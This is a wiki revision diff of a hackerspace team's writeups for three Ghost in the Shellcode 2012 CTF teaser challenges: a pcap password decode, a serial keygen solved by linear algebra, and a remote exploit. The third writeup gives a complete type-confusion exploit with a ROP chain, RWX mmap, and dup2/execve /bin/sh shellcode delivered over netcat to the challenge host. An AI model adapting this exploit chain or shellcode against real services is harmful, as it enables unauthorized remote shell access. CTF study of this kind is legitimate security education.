Difference between revisions of "Gits2012teaser"

From Fixme.ch
Jump to: navigation, search
(#1 TelAviv)
 
(4 intermediate revisions by 2 users not shown)
Line 1: Line 1:
 +
[[Category:CTF]]
 +
[[Image:gits-scores.png]]
 +
 
= Ghost in the Shellcode 2012 Teasers writeups =
 
= Ghost in the Shellcode 2012 Teasers writeups =
  
Line 7: Line 10:
 
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
 
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
  
== #1 TelAviv ==
+
* Challenge [[CTF/gits2012teaser/1-TelAviv|#1 TelAviv]] by [[User:Francois|Francois]]
 
+
* Challenge [[CTF/gits2012teaser/2-ALsRevenge|#2 AL's Revenge]] by [[User:Corecode|Corecode]]
=== Question ===
+
* Challenge [[CTF/gits2012teaser/3-Hackquest|#3 Hackquest]] by [[User:Corecode|Corecode]]
 
+
What is the password? ([[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])<br>
+
Hint: TeLaViv+ is a packet forensics challenge.
+
 
+
=== Solution ===
+
 
+
The file [[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|7139a4ea239dcac655f7c38ca6a77b61.bin]] is a regular pcap file which contains a single TCP session.
+
 
+
[[Image:gist-telaviv-tcp-session.png]]
+
 
+
The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:
+
 
+
* "GitS", probably some dummy data
+
* a NULL byte
+
* "Plague", potential username
+
* 233 remaining bytes, this is the actual password we're looking for
+
 
+
The hint (TeLaViv+) tells us that this password is probably encoded with [http://en.wikipedia.org/wiki/Type-length-value Type-Length-Value (TLV) encoding]. However, there was actually no type fields and the length of each field was one byte long.
+
 
+
[[Image:gist-telaviv-password-data.png]]
+
 
+
The following Python script ([[Media:tlv.py.gz|tlv.py]]) decodes the password:
+
 
+
<syntaxhighlight lang="python">
+
#!/usr/bin/env python
+
#
+
# http://ghostintheshellcode.com/
+
# Ghost in the Shellcode 2012 Teaser
+
#
+
# Challenge #1 TelAviv
+
#
+
# By Francois Deppierraz <francois@ctrlaltdel.ch>
+
 
+
import sys
+
from pprint import pprint
+
from binascii import hexlify
+
 
+
f = open("7139a4ea239dcac655f7c38ca6a77b61.bin")
+
f.seek(0x244) # seek to the data of interest, offset found with wireshark
+
data = f.read(233) # data size
+
 
+
total_len = 0
+
packets = []
+
index=0
+
while index < len(data):
+
    length = ord(data[index])
+
    packets.append(data[index+1:index+1+length])
+
    index += length+1
+
    total_len += length+1
+
 
+
# Ensure that all data was actually parsed
+
assert total_len == len(data)
+
 
+
print "Found %d packets: " % len(packets)
+
for p in packets:
+
  print "  ",
+
  for c in p:
+
    print hex(ord(c)),
+
  print
+
print
+
 
+
numbers = [[ord(c) for c in p] for p in packets]
+
#print "Values: ",
+
#pprint(numbers)
+
#print
+
 
+
# Sum all byte values for each packet (idea comes from the + sign in the hint TeLaViv+)
+
sums = [sum(row) for row in numbers]
+
print "Sums: " + repr(sums)
+
print
+
 
+
s = "".join([chr(c/2) for c in sums])
+
print "Divide by 2 and then convert to ASCII: "
+
print s
+
print
+
 
+
print "Simple subsitution: "
+
# "Dro Zkccgybn sc" to "The Password is"
+
from_txt = "\":dro zkccgybn sc"
+
to_txt  = "\":the password is"
+
assert len(from_txt) == len(to_txt)
+
 
+
for c in s.lower():
+
  idx = from_txt.find(c)
+
  if idx != -1:
+
    sys.stdout.write(to_txt[idx])
+
  else:
+
    sys.stdout.write(".")
+
print
+
</syntaxhighlight>
+
 
+
<pre>
+
$ ./tlv.py
+
Found 37 packets:
+
  0x2b 0x2e 0x1 0x17 0x10 0x1 0x5 0x1
+
  0x57 0x21 0x57 0x1 0x1 0x12 0x1
+
  0x4d 0x5d 0x1d 0x8 0xd 0x2
+
  0x1b 0xa 0x18 0x2 0x1
+
  0x5a 0x4 0x46 0x10
+
  0x84 0x27 0x16 0x12 0x3
+
  0x9d 0x22 0x5 0x1 0x1
+
  0xb8 0x9 0x4 0x1
+
  0x33 0x5d 0x38 0x5 0x1
+
  0x5e 0xd 0x68 0x1f
+
  0x50 0x2d 0x1a 0x20 0x2 0x9 0x2
+
  0x90 0xc 0x20 0x10 0xf 0x1
+
  0x3a 0x4 0x1 0x1
+
  0x17 0x3b 0x34 0x18 0x37 0xf 0x1 0x1
+
  0x21 0x78 0x25 0x8
+
  0x1d 0x4b 0x8 0x3 0x1
+
  0x1a 0x21 0x2 0x3
+
  0x19 0x25 0x4 0x1 0x1
+
  0x5c 0x17 0x12 0x2 0x1
+
  0x5d 0x49 0x33 0x4 0x3 0x2 0x1 0x1
+
  0x96 0x1a 0x29 0x5
+
  0x3a 0x5 0x1
+
  0x39 0x4 0x53 0xa 0x1 0x1
+
  0x79 0x2 0x7 0x1b 0x1 0x37 0x1
+
  0x3 0xe 0x18 0x17
+
  0x6e 0x11 0x9 0x3 0x1
+
  0xb4 0x6 0x1 0x3 0x4 0x3 0x1e 0x2 0x1
+
  0x2 0xa7 0x10 0x10 0x12 0x13 0x2
+
  0x4c 0x9 0x43 0x7 0xd 0x4 0x2a
+
  0xd 0x78 0x5f 0x2
+
  0x2b 0x7 0xd 0x1
+
  0x74 0xd 0xe 0x9 0x2
+
  0x2d 0xa6 0xd 0xb 0x1 0x6
+
  0x9d 0x39 0x5 0x1
+
  0xd5 0x9
+
  0x38 0x6 0x2 0x2 0x1 0x1
+
  0x2f 0x5 0xb 0x1
+
 
+
Sums: [136, 228, 222, 64, 180, 214, 198, 198,
+
      206, 242, 196, 220, 64, 230, 198, 116,
+
      64, 68, 136, 228, 222, 64, 156, 214,
+
      64, 140, 230, 240, 218, 230, 64, 154,
+
      242, 220, 222, 68, 64]
+
 
+
Divide by 2 and then convert to ASCII:
+
Dro Zkccgybn sc: "Dro Nk Fsxms Myno"
+
 
+
Simple subsitution:
+
the password is: "the da .i..i .ode"
+
</pre>
+
 
+
== #2 AL's Revenge ==
+
 
+
=== Question ===
+
 
+
Use your team GUID and generate a serial. ([[Media:49dd327824d5afe9cdf931ea4b13719f.bin|File]])<br>
+
Hint: [[Media:17b82879c583eeae763ecfa9a135e431.cpp|File]]
+
 
+
=== Solution ===
+
 
+
* file [[Media:49dd327824d5afe9cdf931ea4b13719f.bin|49dd327824d5afe9cdf931ea4b13719f.bin]] says xz compressed file -> xzcat > f
+
* file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
+
* analyze disassembly, extract C representation:
+
 
+
<pre>
+
int
+
VerifySerial(uint64_t name, uint64_t serial)
+
{
+
uint64_t a = 0x8000000000000000LL;
+
        uint64_t b = 0xa348fccd93aea5a7LL;
+
uint64_t result = 0;
+
 
+
/* high order bit set? */
+
if (name & a)
+
a ^= b;
+
 
+
if (serial & a)
+
serial ^= b;
+
 
+
while (serial != 0) {
+
if (serial & 1)
+
result ^= name;
+
 
+
serial >>= 1;
+
name <<= 1;
+
 
+
if (name & a)
+
name ^= b;
+
}H
+
 
+
return (result == 1);
+
}
+
</pre>
+
 
+
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
+
* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
+
* The shifting and xoring produces a set of integers, call them name_i.  If the serial bit s_i is set, name_i gets added to the result.  So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
+
* lacking math package fu, implement a gaussian elimination manually:
+
 
+
<pre>
+
class Numeric
+
  def bits64
+
    sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
+
  end
+
end
+
 
+
def names(name)
+
  p = 0xa348fccd93aea5a7
+
 
+
  if (name >> 63) & 1 == 1
+
    name ^= p
+
  end
+
 
+
  ([name] + 63.times.map do |i|
+
    name <<= 1
+
    if (name >> 63) & 1 == 1
+
      name ^= p
+
    end
+
    name
+
  end).map(&:bits64)
+
end
+
 
+
class Array
+
  def pivot
+
    res = []
+
    self[0].size.times.map do |i|
+
      self.size.times.map do |j|
+
        self[j][i]
+
      end
+
    end
+
  end
+
 
+
  def bitary_to_int
+
    self.join.to_i(2)
+
  end
+
end
+
 
+
class Eq < Array
+
  attr_accessor :res
+
 
+
  def initialize(ary, res)
+
    self.replace(ary)
+
    @res = res
+
  end
+
 
+
  def lead_zero
+
    self.take_while{|e| e == 0}
+
  end
+
 
+
  def first_pos
+
    self.index(1)
+
  end
+
 
+
  def subtract(o)
+
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
+
  end
+
end
+
 
+
class EqSys < Array
+
  def initialize(ary, res=nil)
+
    if !(Eq === ary[0]) && !ary.empty?
+
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
+
    end
+
    self.replace(ary)
+
  end
+
 
+
  def sort_by_zeros
+
    self.sort do |a, b|
+
      a.lead_zero <=> b.lead_zero
+
    end
+
  end
+
 
+
  def subtract_eq(eq)
+
    pos = eq.first_pos
+
    return self if not pos
+
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
+
  end
+
 
+
  def elim
+
    front = EqSys.new([])
+
    cur = nil
+
    rest = self.sort_by_zeros
+
    while not rest.empty?
+
      front << cur if cur
+
      cur = rest.shift
+
 
+
      front = front.subtract_eq(cur)
+
      rest = rest.subtract_eq(cur)
+
      rest = rest.sort_by_zeros
+
    end
+
    front << cur
+
 
+
    front
+
  end
+
 
+
  def to_s
+
    self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
+
  end
+
end
+
 
+
require 'pp'
+
if __FILE__ == $0
+
  ns = names(0x6638623261336134)
+
 
+
  pv = ns.pivot
+
  es = EqSys.new(pv, 1.bits64)
+
 
+
  puts es.to_s
+
  puts
+
 
+
  r = es.elim
+
  puts r.to_s
+
 
+
  res = r.map{|e| e.res}.reverse
+
  puts res.bitary_to_int.to_s(16)
+
 
+
  s0 = r.pivot.last.reverse
+
  puts s0.bitary_to_int.to_s(16)
+
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
+
end
+
</pre>
+
 
+
== #3 Hackquest ==
+
 
+
=== Question ===
+
 
+
Find the key. (File running at hackquest.ghostintheshellcode.com:7331)<br>
+
Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file]]<br>
+
Hint: [[Media:1f5d7afa5f3765385a9973e1d500bee7.c|Partial source code]]
+
 
+
=== Solution ===
+
 
+
* Remote system running some sort of text adventure.
+
* Hint dropped source code partially (extremely helpful)
+
* Hint from irc: look at the items
+
* struct ItemInfo contains a union:
+
 
+
<pre>
+
union
+
{
+
        void* data;
+
        LocationInfo* newLocation;
+
        struct ItemInfo* newItem;
+
        struct
+
        {
+
                ActionInfo* actionInfo;
+
                char* requiredTarget;
+
        } action;
+
        struct
+
        {
+
                char* name;
+
                struct ItemInfo* newItem;
+
        } namedUnwrap;
+
} info;
+
</pre>
+
 
+
* magical item:
+
 
+
<pre>
+
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
+
</pre>
+
 
+
* use() has an insufficient test:
+
 
+
<pre>
+
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
+
    (item->type == ITEM_UNWRAP))
+
{
+
        sendMsg(s, "That item can't have a target.\n");
+
        ok = false;
+
}
+
else if (!strcasecmp(item->info.action.requiredTarget, target))
+
{
+
        sendMsg(s, item->message);
+
        item->info.action.actionInfo->func(s);
+
        showDesc = item->info.action.actionInfo->showDesc;
+
}
+
</pre>
+
 
+
* if we "use letter on $target", we can make it call ->func()
+
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
+
* ->func aliases with .name
+
* the game asks us for our name, and stores this into a 31 byte static buffer
+
* whatever we use as name will be used as function address to be called -> we captured control flow
+
* ROP ensues:
+
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
+
* then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
+
* our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
+
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)
+
* bootstrap code copies stack-relative buffer to our page, then transfers control:
+
 
+
<pre>
+
leal 0x41(%esp),%esi # calc source from stack offset
+
popl %edi # dest addr is already on stack
+
pushl $0x41 # dest offset so that we don't get overwritten
+
popl %ecx # duplicates as length
+
addl %ecx,%edi # add offset
+
push %edi # store dest for later
+
rep movsl # copy
+
popl %edi # retrieve old dest
+
jmp *%edi # jump there
+
</pre>
+
 
+
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
+
 
+
<pre>
+
pushl %ecx # ecx was cleared by rep above, put 0 on stack
+
movl 0xAB(%esp),%ebx # get socket fd from stack offset
+
1:
+
pushl $0x3f # dup2 syscall number
+
popl %eax # into eax
+
int $0x80 # do syscall
+
inc %ecx # inc desc2
+
cmp $0x3,%cl # do for 0, 1, 2
+
jne 1b # repeat
+
 
+
popl %ecx # zero ecx = argv
+
mull %ecx # zero eax, edx = env
+
        pushl $0x0068732f # /sh\0
+
        pushl  $0x6e69622f # /bin
+
movl %esp,%ebx # string arg
+
movb $0xb,%al # execve syscall number
+
int $0x80 # magic!
+
</pre>
+
 
+
* cat key.txt
+
 
+
* all combined, use as (ruby h.rb; cat) | nc host 7331
+
 
+
<pre>
+
addr = 0x60606000              # our page address
+
src = 0x804c2a0                # from 0x80498f4
+
 
+
sockoffset = 0xbc
+
 
+
p = [
+
    # offset 0
+
    "use letter on ",
+
    # offset 14
+
    0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
+
    # offset 31
+
    " " * (0x44 - 32),          # fill
+
    # offset 0x44
+
    0x80486d4,          # C mmap
+
    0x8048db5,          # L add $0x1c,%esp | ret
+
    addr,              # (void *addr,
+
    4096,              #  size_t len,
+
    1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
+
    0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
+
    0,                  #  int filedes,
+
    0,                  #  off_t off)
+
    0,                  # filler, also possibly offset
+
    0x80487d4,          # C memcpy
+
    addr,              # L addr = shellcode
+
    addr,              # (void *dest,
+
    src + 4,            #  const void *src,
+
    200,                #  size_t n).
+
   
+
    [
+
      0x51,                        # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
+
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx  # get socket fd from stack offset
+
    [0x6a, 0x3f,                  # 1: pushl $0x3f # dup2 syscall number
+
      0x58,                        # popl  %eax    # into eax
+
      0xcd, 0x80,                  # int  $0x80    # do syscall
+
      0x41,                        # inc  %ecx    # inc desc2
+
      0x80, 0xf9, 0x03,            # cmp  $0x3,%cl # do for 0, 1, 2
+
      0x75, 0xf5,                  # jne  1b      # repeat
+
 
+
      0x59,      # popl  %ecx  # zero ecx = argv
+
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
+
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
+
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
+
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
+
      0xb0, 0x0b, # movb  $0xb,%al  # execve syscall number
+
      0xcd, 0x80  # int $0x80        # magic!
+
    ]
+
    ]
+
 
+
shellcode = 0xc
+
 
+
# this lives at src
+
namelen = 20
+
name = [
+
        # stack pivot
+
        0x08049019,              # add $0x9c,%esp | ret
+
 
+
        # bootstrap shellcode
+
        [
+
        0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
+
        0x5f,                    # popl  %edi
+
        0x6a, namelen,          # pushl $XXX
+
        0x59,                    # popl  %ecx
+
        0x01, 0xcf,              # addl  %ecx,%edi
+
        0x57,                    # push  %edi
+
        0xf3, 0xa5,              # rep movsl
+
        0x5f,                    # popl  %edi
+
        0xff, 0xe7,              # jmp  *%edi
+
        ],
+
      ]
+
 
+
all = name +
+
  [
+
  "\n",
+
  "get can\n",
+
  "use can\n",
+
  "go south\n",
+
  "get letter\n",
+
  ] +
+
  p + ["\n"]
+
 
+
def collapse(a)
+
  a.map do |e|
+
    case e
+
    when Numeric
+
      [e].pack("V")
+
    when Array
+
      e.pack('C*')
+
    else
+
      e.to_s
+
    end
+
  end.join
+
end
+
 
+
if __FILE__ == $0
+
  cp = collapse(all)
+
  # puts cp.size
+
  print cp
+
end
+
</pre>
+

Latest revision as of 09:24, 22 October 2012

Gits-scores.png

Ghost in the Shellcode 2012 Teasers writeups

http://ghostintheshellcode.com/

Thanks to the organizers for those pretty nice teasers!

The following writeups have been made by members of the FIXME team during between January 6th and January 8th.